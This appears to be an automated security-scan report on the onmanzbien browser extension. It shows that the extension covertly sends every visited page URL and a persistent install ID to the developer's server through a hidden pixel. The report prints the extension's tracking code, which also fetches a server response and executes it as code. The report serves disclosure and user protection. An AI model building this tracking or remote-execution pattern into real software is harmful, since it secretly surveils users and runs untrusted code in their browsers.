Is onmanzbien safe?
onmanzbien is high risk. Every time a page finishes loading, the extension injects a hidden pixel request carrying your full page URL and a stable install ID, letting the developer build a browsing history tied to you. Seen for google.com and facebook.com.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Extension tracks every page you visit via off-screen pixel to api.onmanzbien.com
Every time a page finishes loading, the extension injects a hidden pixel request carrying your full page URL and a stable install ID, letting the developer build a browsing history tied to you.
Seen for google.com and facebook.com.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Dynamic sandbox
You navigate to any website.
As soon as any tab finishes loading, regardless of the site, the extension activates.
an off-screen pixel image sends your full page URL and a permanent ID to api.onmanzbien.com.
The request is invisible: a 1×1 px transparent image appended to the page body with opacity:0.
Dynamic analysis captured 6 such requests across google.com and facebook.com navigations. The u= parameter remained identical across all requests, confirming it is a persistent cross-session identifier.
- Your permanent ID9059fd19-71e0-422a-a16c-a09f0e002130
A random ID generated at install. It never changes, letting the developer link every visit to you across sessions and devices.
- Page addresshttps://www.google.com/search?q=symptoms+chest+pain
The complete URL of the page you just opened, including search terms, article slugs, account paths, or query parameters.
Pixel injection, unconditional firing despite the food-site blacklist
chrome.tabs.onUpdated.addListener(async function(tabId, changeInfo, tab) { if (changeInfo.status === 'complete') { const { user_id } = await chrome.storage.sync.get(["user_id"]) if (typeof user_id === "string" && user_id.length > 0) { try { chrome.scripting.executeScript({ target: { tabId: tabId }, args: [user_id], func: (user_id) => { const blacklist = [ "deliveroo.fr", "www.ubereats.com", "www.just-eat.fr", "www.mcdonalds.fr", "www.burgerking.fr" ]; function wrapper(func) { var i = document.createElement("img"); i.style = "height: 0px; width: 1px;opacity: 0;" // ↓ pixel fires for EVERY site, not just blacklisted ones i.src = "https://api.onmanzbien.com/api/pixel.png?u="+ user_id + "&h="+window.location i.onerror = func document.body.append(i); } // blacklist only gates the overlay UI if (blacklist.indexOf(window.location.host) !== -1) { // ... overlay injection for food sites ... } // wrapper() called OUTSIDE the blacklist check wrapper(async function(){ fetch(this.src) .then(async function(response) { if(response.ok) setTimeout(await response.text(), 10) throw new Error('Something went wrong.'); }).catch(async function(){}); }) } }, () => {}); } catch (error) {} } }});Generated at first install and stored in Chrome sync storage, so it follows every signed-in device, letting the server link your history.
- Location
- chrome.storage.sync key 'user_id'
{ "user_id": "9059fd19-71e0-422a-a16c-a09f0e002130"}- api.onmanzbien.com
Developer's backend API. Receives the persistent UUID and full visited URL via pixel GET each navigation. Linked to app.onmanzbien.com, the promoted app.